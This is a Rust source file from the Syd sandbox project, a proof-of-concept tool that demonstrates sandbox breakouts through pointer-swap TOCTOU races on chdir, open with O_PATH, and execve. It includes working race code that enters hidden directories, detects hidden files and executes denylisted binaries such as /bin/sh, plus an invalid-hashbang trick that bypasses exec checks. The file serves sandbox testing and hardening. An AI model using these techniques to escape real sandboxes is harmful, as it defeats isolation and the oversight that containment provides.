//
// Syd: rock-solid unikernel
// src/syd-poc.rs: POC||GTFO! Demonstrate various sandbox break vectors.
//
// Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
//
// SPDX-License-Identifier: GPL-3.0-or-later

#![allow(clippy::disallowed_types)]

use std::{
    env::{args, args_os, current_exe, set_var, var},
    ffi::{CString, OsString},
    fs::{remove_file, File},
    io::Write,
    os::{
        fd::{AsRawFd, FromRawFd, OwnedFd},
        unix::{ffi::OsStrExt, process::CommandExt},
    },
    path::PathBuf,
    process::{Command, ExitCode},
    time::{Duration, Instant},
};

use getargs::{Opt, Options};
use nix::{
    errno::Errno,
    fcntl::readlink,
    libc::{pthread_create, pthread_join, pthread_t},
    sys::stat::{fchmod, Mode},
    unistd::{getcwd, getpid, Pid},
};
use syd::err::{err2no, SydResult};

// Set global allocator to mimalloc.
#[global_allocator]
static GLOBAL: mimalloc2_rust::GlobalMiMalloc = mimalloc2_rust::GlobalMiMalloc;

fn main() -> SydResult<ExitCode> {
    syd::set_sigpipe_dfl()?;

    // Configure mimalloc.
    syd::configure_mimalloc();

    let args = args().skip(1).collect::<Vec<_>>();
    let args: &'static Vec<String> = Box::leak(Box::new(args));
    let mut opts = Options::new(args.iter().map(String::as_str));

    #[allow(clippy::never_loop)]
    while let Some(opt) = opts.next_opt()? {
        match opt {
            Opt::Short('h') => {
                help();
                return Ok(ExitCode::SUCCESS);
            }
            Opt::Short(opt) => {
                eprintln!("Unknown option: -{opt}!");
                return Ok(ExitCode::FAILURE);
            }
            Opt::Long(opt) => {
                eprintln!("Unknown option: --{opt}!");
                return Ok(ExitCode::FAILURE);
            }
        }
    }

    let cmd = opts.next_positional();
    match cmd {
        None | Some("h" | "he" | "hel" | "help") => {
            help();
            Ok(ExitCode::SUCCESS)
        }
        Some("c" | "cd" | "chdir" | "dir") => cmd_cd(&mut opts),
        Some("p" | "pa" | "pat" | "path") => cmd_path(&mut opts),
        Some("e" | "x" | "ex" | "exe" | "exec") => cmd_exec(&mut opts),
        Some(cmd) => {
            eprintln!("Unknown subcommand {cmd}!");
            Ok(ExitCode::FAILURE)
        }
    }
}

fn help() {
    println!("Usage: syd-poc [-h] [command] [args...]");
    println!("POC||GTFO! Demonstrate various sandbox break vectors.");
    println!("\nCommands:");
    println!("\t- cd\tChdir into a hidden directory utilising pointer TOCTOU.");
    println!("\t- path\tProve existence of a hidden file utilising pointer TOCTOU.");
    println!("\t- exec\tExecute a denylisted file utilising pointer TOCTOU.");
    println!("\nDo \"syd-poc command -h\" for more information on a specific subcommand.");
}

fn help_cd() {
    println!("Usage syd-poc cd [-hsS] [-b benign-dir] [-t timeout] [dir] [command] [args...]");
    println!(
        "Chdir into a hidden directory and execute the given command with the given arguments."
    );
    println!("Method of attack is pointer modification on the chdir(2) system call making use of TOCTOU.");
    println!(
        "Default benign directory is /var/empty, specify an alternate path with \"-b benign-dir\"."
    );
    println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
    println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}

fn help_path() {
    println!("Usage syd-poc path [-hsS] [-b benign-file] [-t timeout] [file] [command] [args...]");
    println!("Prove existence of a hidden file utilizing pointer TOCTOU and pass the file descriptor to the command.");
    println!("Method of attack is pointer modification on the open(2) system call with O_PATH flag making use of TOCTOU.");
    println!(
        "Default benign file is /dev/null, specify an alternate path with \"-b benign-file\"."
    );
    println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
    println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}

fn help_exec() {
    println!("Usage syd-poc exec [-hsS] [-t timeout] {{[executable] [args...]}}");
    println!("Execute a denylisted file utilising pointer TOCTOU.");
    println!("Method of attack is pointer modification on the execve(2) system call making use of TOCTOU.");
    println!("Expects the directory /tmp is allowlisted for exec.");
    println!("Target executable defaults to /bin/sh.");
    println!("Default is to try until interrupted, specify a timeout with \"-t timeout\".");
    println!("Use -s to run test under strace, -S to skip strace auto-detection and run without tracing.");
}

fn cmd_cd<I: Iterator<Item = &'static str>>(
    opts: &mut Options<&'static str, I>,
) -> SydResult<ExitCode> {
    let mut tmout = None;
    let mut check_strace = true;
    let mut force_strace = false;
    let mut src = "/proc/self/root/var/empty";
    while let Some(opt) = opts.next_opt()? {
        match opt {
            Opt::Short('h') => {
                help_cd();
                return Ok(ExitCode::SUCCESS);
            }
            Opt::Short('b') => {
                src = opts.value()?;
            }
            Opt::Short('s') => {
                force_strace = true;
            }
            Opt::Short('S') => {
                check_strace = false;
                force_strace = false;
            }
            Opt::Short('t') => {
                tmout = Some(opts.value()?.parse::<u64>()?);
            }
            Opt::Short(opt) => {
                eprintln!("Unknown option: -{opt}!");
                help();
                return Ok(ExitCode::FAILURE);
            }
            Opt::Long(opt) => {
                eprintln!("Unknown option: --{opt}!");
                help();
                return Ok(ExitCode::FAILURE);
            }
        }
    }

    let dir = if let Some(dir) = opts.next_positional() {
        dir
    } else {
        help_cd();
        return Ok(ExitCode::FAILURE);
    };

    let arg = {
        let mut arg: Vec<&str> = opts.positionals().collect();
        if arg.is_empty() {
            // Execute a /bin/sh by default if no command given.
            arg.push("/bin/sh");
        }
        arg
    };

    // If strace is available, rexecute under strace for
    // clear demonstration of chdir calls. Avoid recursion
    // with the environment variable SYD_POC_PTRACE.
    if var("SYD_POC_PTRACE").is_err() && (force_strace || (check_strace && strace_chdir(src))) {
        set_var("SYD_POC_PTRACE", "NoThanks");
        // exec only returns on failure...
        return Ok(ExitCode::from(
            strace_chdir_reexec().raw_os_error().unwrap_or(127) as u8,
        ));
    }

    //////////////////////////////////////////////////////////
    //// POC||GTFO: chdir(2) pointer modification TOCTOU. ////
    //////////////////////////////////////////////////////////
    eprintln!("[*] Starting chdir(2) pointer modification TOCTOU attack...");
    eprintln!("[*] Benign directory: {src}");
    eprintln!("[*] Target directory: {dir}");
    if let Some(tmout) = tmout {
        eprintln!("[*] Attack timeout is {tmout} seconds.");
    } else {
        eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
    }

    // Run the proof of concept multiple times to increase the chance of catching the race condition.
    let mut attempts = 0;
    let tmout = tmout.map(Duration::from_secs);
    let mut tlast = Instant::now();
    let epoch = tlast;
    loop {
        attempts += 1;

        if toctou_cd_poc(src, dir) {
            eprintln!("[!] TOCTOU attack succeeded after {attempts} attempts!");
            eprintln!("[!] Current directory was unexpectedly changed!");
            break;
        }

        let now = Instant::now();
        if let Some(tmout) = tmout {
            if now.duration_since(epoch) >= tmout {
                eprintln!("[?] Timeout reached after {attempts} attempts.");
                eprintln!("[?] Try increasing timeout with \"-t timeout\".");
                return Ok(ExitCode::FAILURE);
            }
        }

        if now.duration_since(tlast).as_secs() >= 10 {
            eprintln!("[*] Still trying... {attempts} attempts so far.");
            tlast = now;
        }
    }

    eprintln!("[*] Executing command in the denylisted directory...");
    let error = Command::new(arg[0]).args(&arg[1..]).exec();

    // exec only returns on failure.
    Ok(ExitCode::from(error.raw_os_error().unwrap_or(127) as u8))
}

fn cmd_path<I: Iterator<Item = &'static str>>(
    opts: &mut Options<&'static str, I>,
) -> SydResult<ExitCode> {
    let mut tmout = None;
    let mut check_strace = true;
    let mut force_strace = false;
    let mut src = "/proc/self/root/dev/null";
    while let Some(opt) = opts.next_opt()? {
        match opt {
            Opt::Short('h') => {
                help_path();
                return Ok(ExitCode::SUCCESS);
            }
            Opt::Short('b') => {
                src = opts.value()?;
            }
            Opt::Short('s') => {
                force_strace = true;
            }
            Opt::Short('S') => {
                check_strace = false;
                force_strace = false;
            }
            Opt::Short('t') => {
                tmout = Some(opts.value()?.parse::<u64>()?);
            }
            Opt::Short(opt) => {
                eprintln!("Unknown option: -{opt}!");
                help();
                return Ok(ExitCode::FAILURE);
            }
            Opt::Long(opt) => {
                eprintln!("Unknown option: --{opt}!");
                help();
                return Ok(ExitCode::FAILURE);
            }
        }
    }

    let dst = if let Some(dst) = opts.next_positional() {
        dst
    } else {
        help_path();
        return Ok(ExitCode::FAILURE);
    };

    let arg = {
        let mut arg: Vec<&str> = opts.positionals().collect();
        if arg.is_empty() {
            // Execute a /bin/sh by default if no command given.
            arg.push("/bin/sh");
        }
        arg
    };

    // If strace is available, rexecute under strace for
    // clear demonstration of open calls. Avoid recursion
    // with the environment variable SYD_POC_PTRACE.
    if var("SYD_POC_PTRACE").is_err() && (force_strace || (check_strace && strace_path())) {
        set_var("SYD_POC_PTRACE", "NoThanks");
        // exec only returns on failure...
        return Ok(ExitCode::from(
            strace_path_reexec().raw_os_error().unwrap_or(127) as u8,
        ));
    }

    ////////////////////////////////////////////////////////////////
    //// POC||GTFO: open(2) O_PATH pointer modification TOCTOU. ////
    ////////////////////////////////////////////////////////////////
    eprintln!("[*] Starting open(2) O_PATH pointer modification TOCTOU attack...");
    eprintln!("[*] Benign file: {src}");
    eprintln!("[*] Target file: {dst}");
    if let Some(tmout) = tmout {
        eprintln!("[*] Attack timeout is {tmout} seconds.");
    } else {
        eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
    }

    // Run the proof of concept multiple times to increase the chance of catching the race condition.
    let pid = getpid();
    let targetfd;
    let mut attempts = 0;
    let tmout = tmout.map(Duration::from_secs);
    let mut tlast = Instant::now();
    let epoch = tlast;
    loop {
        attempts += 1;

        if let Some(fd) = toctou_path_poc(pid, src, dst) {
            eprintln!("[!] TOCTOU attack succeeded after {attempts} attempts!");
            eprintln!("[!] Target path {dst} is known to exist!");
            eprintln!(
                "[*] Passing file descriptor {} to the command...",
                fd.as_raw_fd()
            );
            targetfd = Some(fd);
            break;
        }

        let now = Instant::now();
        if let Some(tmout) = tmout {
            if now.duration_since(epoch) >= tmout {
                eprintln!("[?] Timeout reached after {attempts} attempts.");
                eprintln!("[?] Try increasing timeout with \"-t timeout\".");
                return Ok(ExitCode::FAILURE);
            }
        }

        if now.duration_since(tlast).as_secs() >= 10 {
            eprintln!("[*] Still trying... {attempts} attempts so far.");
            tlast = now;
        }
    }

    eprintln!("[*] Executing command with target FD {targetfd:?}...");
    let error = Command::new(arg[0]).args(&arg[1..]).exec();

    // exec only returns on failure.
    Ok(ExitCode::from(error.raw_os_error().unwrap_or(127) as u8))
}

fn cmd_exec<I: Iterator<Item = &'static str>>(
    opts: &mut Options<&'static str, I>,
) -> SydResult<ExitCode> {
    let mut tmout = None;
    let mut check_strace = true;
    let mut force_strace = false;
    while let Some(opt) = opts.next_opt()? {
        match opt {
            Opt::Short('h') => {
                help_exec();
                return Ok(ExitCode::SUCCESS);
            }
            Opt::Short('s') => {
                force_strace = true;
            }
            Opt::Short('S') => {
                check_strace = false;
                force_strace = false;
            }
            Opt::Short('t') => {
                tmout = Some(opts.value()?.parse::<u64>()?);
            }
            Opt::Short(opt) => {
                eprintln!("Unknown option: -{opt}!");
                help();
                return Ok(ExitCode::FAILURE);
            }
            Opt::Long(opt) => {
                eprintln!("Unknown option: --{opt}!");
                help();
                return Ok(ExitCode::FAILURE);
            }
        }
    }

    let src = create_random_script()?;
    let arg = {
        let mut arg: Vec<&str> = opts.positionals().collect();
        if arg.is_empty() {
            // Execute a /bin/sh by default if no command given.
            arg.push("/bin/sh");
            arg.push("-");
        }
        arg
    };
    let exe = &arg[0];

    // If strace is available, rexecute under strace for
    // clear demonstration of execve calls. Avoid recursion
    // with the environment variable SYD_POC_PTRACE.
    if var("SYD_POC_PTRACE").is_err() && (force_strace || (check_strace && strace_exec())) {
        set_var("SYD_POC_PTRACE", "NoThanks");
        // exec only returns on failure...
        return Ok(ExitCode::from(
            strace_exec_reexec().raw_os_error().unwrap_or(127) as u8,
        ));
    }

    ///////////////////////////////////////////////////////////
    //// POC||GTFO: execve(2) pointer modification TOCTOU. ////
    ///////////////////////////////////////////////////////////
    eprintln!("[*] Starting execve(2) pointer modification TOCTOU attack...");
    eprintln!("[*] Benign executable: {src}");
    eprintln!("[*] Target executable: {exe}");
    if let Some(tmout) = tmout {
        eprintln!("[*] Attack timeout is {tmout} seconds.");
    } else {
        eprintln!("[*] Attack will continue until interrupted (Press ^C to stop).");
    }

    // Run the proof of concept multiple times to increase the chance of catching the race condition.
    let mut attempts = 0;
    let tmout = tmout.map(Duration::from_secs);
    let mut tlast = Instant::now();
    let epoch = tlast;
    loop {
        attempts += 1;

        if toctou_exec_poc(&src, &arg) {
            let _ = remove_file(src);
            break;
        }

        let now = Instant::now();
        if let Some(tmout) = tmout {
            if now.duration_since(epoch) >= tmout {
                eprintln!("[?] Timeout reached after {attempts} attempts.");
                eprintln!("[?] Try increasing timeout with \"-t timeout\".");
                let _ = remove_file(src);
                return Ok(ExitCode::FAILURE);
            }
        }

        if now.duration_since(tlast).as_secs() >= 10 {
            eprintln!("[*] Still trying... {attempts} attempts so far.");
            tlast = now;
        }
    }

    Ok(ExitCode::SUCCESS)
}

#[repr(C)]
struct Data {
    ptr: *mut nix::libc::c_void,
    src: CString,
}

#[allow(clippy::disallowed_methods)]
fn toctou_cd_poc(benign_dir: &str, target_dir: &str) -> bool {
    // STEP 1: SETUP
    // Prepare the benign path /var/empty to change directory to.
    let benign_path = CString::new(benign_dir).unwrap();

    // Obtain a mutable pointer to the CString.
    let ptr = benign_path.into_raw();

    // Turn the directory into a CString.
    let dir = CString::new(target_dir).expect("invalid directory");

    // Prepare a thread which will attempt to modify the directory path pointer
    // to point to the target directory during the chdir system call.
    let mut thread: pthread_t = unsafe { std::mem::zeroed() };

    // Prepare the struct with pointers to be passed to the thread.
    let data = Box::new(Data {
        ptr: ptr as *mut nix::libc::c_void,
        src: dir.clone(),
    });
    let data = Box::into_raw(data);

    unsafe {
        // STEP 2: START TOCTOU RACE
        // Create a new thread to initiate the attack.
        pthread_create(
            &mut thread,
            std::ptr::null(),
            modify_ptr, // This function should attempt to modify the directory path.
            data as *mut _,
        );

        // STEP 3: ATTEMPT TO CHANGE DIRECTORY
        // Attempt to change the current directory to the benign
        // directory, but due to the race condition, it may end up
        // changing to the target directory.
        nix::libc::chdir(ptr as *const nix::libc::c_char);

        // Wait for the thread to finish.
        pthread_join(thread, std::ptr::null_mut());

        // Reclaim the memory allocated for the data struct and ptr.
        let _ = Box::from_raw(data);
        let _ = Box::from_raw(ptr);
    }

    // STEP 4: CHECK FOR SUCCESSFUL EXPLOITATION
    // If the current directory is the target directory, the TOCTOU attack was successful.
    let cwd = getcwd().expect("Failed to get current working directory");
    if cwd.as_os_str().as_bytes() == dir.as_bytes() {
        return true;
    }

    false
}

#[allow(clippy::disallowed_methods)]
fn toctou_path_poc(pid: Pid, benign_file: &str, target_file: &str) -> Option<OwnedFd> {
    // STEP 1: SETUP
    let benign_path = CString::new(benign_file).unwrap();

    // Obtain a mutable pointer to the CString.
    let ptr = benign_path.into_raw();

    // Turn the directory into a CString.
    let file = CString::new(target_file).expect("invalid file");

    // Prepare a thread which will attempt to modify the directory path pointer
    // to point to the target file during the open system call.
    let mut thread: pthread_t = unsafe { std::mem::zeroed() };

    // Prepare the struct with pointers to be passed to the thread.
    let data = Box::new(Data {
        ptr: ptr as *mut nix::libc::c_void,
        src: file.clone(),
    });
    let data = Box::into_raw(data);

    let fd = unsafe {
        // STEP 2: START TOCTOU RACE
        // Create a new thread to initiate the attack.
        pthread_create(
            &mut thread,
            std::ptr::null(),
            modify_ptr, // This function should attempt to modify the directory path.
            data as *mut _,
        );

        // STEP 3: ATTEMPT TO OPEN THE BENIGN PATH.
        // Attempt to open the benign file, but due to the race
        // condition, it may end up changing to the target file.
        let fd = nix::libc::open(ptr as *const nix::libc::c_char, nix::libc::O_PATH);

        // Wait for the thread to finish.
        pthread_join(thread, std::ptr::null_mut());

        // Reclaim the memory allocated for the data struct and ptr.
        let _ = Box::from_raw(data);
        let _ = Box::from_raw(ptr);

        if fd == -1 {
            return None;
        }
        OwnedFd::from_raw_fd(fd)
    };

    // STEP 4: CHECK FOR SUCCESSFUL EXPLOITATION
    // If the file descriptor points to the target file, the TOCTOU attack was successful.
    let mut buf0 = itoa::Buffer::new();
    let mut buf1 = itoa::Buffer::new();
    let mut proc = PathBuf::from("/proc");
    proc.push(buf0.format(pid.as_raw()));
    proc.push("fd");
    proc.push(buf1.format(fd.as_raw_fd()));

    let path = readlink(&proc).expect("Failed to follow /proc/pid/fd symbolic link");
    if path.as_os_str().as_bytes() == file.as_bytes() {
        return Some(fd);
    }

    None
}

fn strace_chdir(dir: &str) -> bool {
    eprintln!("[*] Auto-detecting strace...");
    let mut cmd = Command::new("timeout");
    let cmd = cmd
        .arg("5s")
        .arg("strace")
        .arg("-o/dev/null")
        .arg("-f")
        .arg("-echdir")
        .arg("-qq")
        .arg("--")
        .arg("sh")
        .arg("-xc")
        .arg(format!("cd {dir}"));
    eprintln!("[*] Attempting to run strace: {cmd:?}");
    match cmd.status() {
        Ok(status) if status.success() => {
            eprintln!("[!] strace is available, let's use it!");
            true
        }
        _ => {
            eprintln!("[?] strace is not available, continuing without.");
            false
        }
    }
}

#[allow(clippy::disallowed_methods)]
fn toctou_exec_poc(benign_executable: &str, argv: &[&str]) -> bool {
    // STEP 1: SETUP
    let benign_path = CString::new(benign_executable).unwrap();

    // Obtain a mutable pointer to the CString.
    let ptr = benign_path.into_raw();

    // Turn the argv[0] into a CString.
    let file = CString::new(argv[0]).expect("invalid file");

    // Prepare a thread which will attempt to modify the directory path pointer
    // to point to the target file during the exec system call.
    let mut thread: pthread_t = unsafe { std::mem::zeroed() };

    // Prepare the struct with pointers to be passed to the thread.
    let data = Box::new(Data {
        ptr: ptr as *mut nix::libc::c_void,
        src: file.clone(),
    });
    let data = Box::into_raw(data);

    unsafe {
        // STEP 2: START TOCTOU RACE!
        // Create a new thread to initiate the attack, modifying the file path pointer.
        pthread_create(&mut thread, std::ptr::null(), modify_ptr, data as *mut _);

        // Prepare the argv for execve.
        let c_argv: Vec<CString> = argv.iter().map(|&arg| CString::new(arg).unwrap()).collect();
        let mut c_argv: Vec<*const nix::libc::c_char> =
            c_argv.iter().map(|arg| arg.as_ptr()).collect();
        // Ensure argv is null-terminated
        c_argv.push(std::ptr::null());

        // STEP 3: ATTEMPT TO EXECUTE FILE
        // Attempt to execute the benign file, but due to the race condition,
        // it may attempt to execute a different file.
        nix::libc::execve(
            ptr as *const nix::libc::c_char,
            c_argv.as_ptr(),
            std::ptr::null(),
        );

        // If execve returns, it failed. Clean up and retry.
        pthread_join(thread, std::ptr::null_mut());

        // Reclaim the memory allocated for the data struct and ptr.
        let _ = Box::from_raw(data);
        let _ = Box::from_raw(ptr);
    }

    // If execve fails, we continue the loop and retry.
    false
}

#[allow(clippy::disallowed_methods)]
fn strace_chdir_reexec() -> std::io::Error {
    let exe = current_exe().expect("current exe");
    let arg: Vec<OsString> = args_os().skip(1).collect();
    let mut cmd = Command::new("strace");
    let cmd = cmd
        .arg("-f")
        .arg("-echdir")
        .arg("-qq")
        .arg("--")
        .arg(exe)
        .args(&arg);
    eprintln!("[*] Executing test under strace: {cmd:?}");
    cmd.exec()
}

fn strace_path() -> bool {
    eprintln!("[*] Auto-detecting strace...");
    let mut cmd = Command::new("timeout");
    let cmd = cmd
        .arg("5s")
        .arg("strace")
        .arg("-o/dev/null")
        .arg("-f")
        .arg("-qq")
        .arg("-eopen")
        .arg("--")
        .arg("sh")
        .arg("-xc")
        .arg("cat /dev/null > /dev/null");
    eprintln!("[*] Attempting to run strace: {cmd:?}");
    match cmd.status() {
        Ok(status) if status.success() => {
            eprintln!("[!] strace is available, let's use it!");
            true
        }
        _ => {
            eprintln!("[?] strace is not available, continuing without.");
            false
        }
    }
}

#[allow(clippy::disallowed_methods)]
fn strace_path_reexec() -> std::io::Error {
    let exe = current_exe().expect("current exe");
    let arg: Vec<OsString> = args_os().skip(1).collect();
    let mut cmd = Command::new("strace");
    let cmd = cmd
        .arg("-f")
        .arg("-qq")
        .arg("-eopen")
        .arg("--")
        .arg(exe)
        .args(&arg);
    eprintln!("[*] Executing test under strace: {cmd:?}");
    cmd.exec()
}

fn strace_exec() -> bool {
    eprintln!("[*] Auto-detecting strace...");
    let mut cmd = Command::new("timeout");
    let cmd = cmd
        .arg("5s")
        .arg("strace")
        .arg("-o/dev/null")
        .arg("-f")
        .arg("-qq")
        .arg("-eexecve")
        .arg("--")
        .arg("/bin/true");
    eprintln!("[*] Attempting to run strace: {cmd:?}");
    match cmd.status() {
        Ok(status) if status.success() => {
            eprintln!("[!] strace is available, let's use it!");
            true
        }
        _ => {
            eprintln!("[?] strace is not available, continuing without.");
            false
        }
    }
}

#[allow(clippy::disallowed_methods)]
fn strace_exec_reexec() -> std::io::Error {
    let exe = current_exe().expect("current exe");
    let arg: Vec<OsString> = args_os().skip(1).collect();
    let mut cmd = Command::new("strace");
    let cmd = cmd
        .arg("-f")
        .arg("-qq")
        .arg("-eexecve")
        .arg("--")
        .arg(exe)
        .args(&arg);
    eprintln!("[*] Executing test under strace: {cmd:?}");
    cmd.exec()
}

#[allow(clippy::disallowed_methods)]
fn create_random_script() -> Result<String, Errno> {
    // Generate a random file name using nix::libc::getrandom
    let mut buf: [u8; 8] = [0; 8];
    if unsafe {
        nix::libc::getrandom(
            buf.as_mut_ptr() as *mut _,
            buf.len(),
            nix::libc::GRND_RANDOM,
        )
    } == -1
    {
        return Err(Errno::last());
    }
    let filename: String = format!(
        "/tmp/syd_poc_{:x}{:x}",
        u64::from_ne_bytes(buf[0..8].try_into().unwrap()),
        u64::from_ne_bytes(buf[0..8].try_into().unwrap())
    );

    let mut file = File::create(&filename).map_err(err2no)?;

    // Write invalid hashbang to the file,
    // effectively bypassing trace/allow_unsupp_exec:0.
    file.write_all(b"#!/dev/null\ntrue\n").map_err(err2no)?;

    // Set the file as executable.
    fchmod(file.as_raw_fd(), Mode::S_IRWXU)?;

    Ok(filename)
}

extern "C" fn modify_ptr(ptr: *mut nix::libc::c_void) -> *mut nix::libc::c_void {
    let data = unsafe { &mut *(ptr as *mut Data) };
    let bit = data.src.as_bytes_with_nul();
    let len = bit.len();
    let src = bit.as_ptr();
    let ptr = data.ptr as *mut i8;
    for _ in 0..10_000 {
        unsafe { ptr.copy_from_nonoverlapping(src as *const _, len) };
    }
    std::ptr::null_mut()
}
